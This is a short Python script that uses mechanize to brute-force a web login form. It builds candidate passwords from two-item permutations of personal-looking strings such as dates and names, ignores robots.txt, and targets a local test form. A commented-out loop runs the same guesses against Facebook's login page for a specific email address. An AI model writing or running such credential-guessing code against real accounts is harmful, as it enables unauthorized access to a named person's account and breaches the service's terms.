import itertools, time, mechanize
##
## Mechanize Settup
##
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
potential_passwords = ['06011873', '020215','011207', 'thejack','archie','nakoda']
combinations = list( itertools.permutations(potential_passwords,2) )
br.open('http://127.0.0.1:5000/')
br.select_form(name="login_form")
# br['username'] = 'admin'
# br['password'] = 'mice3333'
# print br['password']
# response = br.submit()
# print response.geturl()

'''
for x in combinations:
	br.open('https://www.facebook.com/login.php?login_attempt=1&lwv=110')
	br.select_form(nr = 0)
	br['email'] = 'jchiefel@ucsc.edu'
	br['pass'] =''.join(x)
	print br['pass']
	response = br.submit()
	print response.geturl()
'''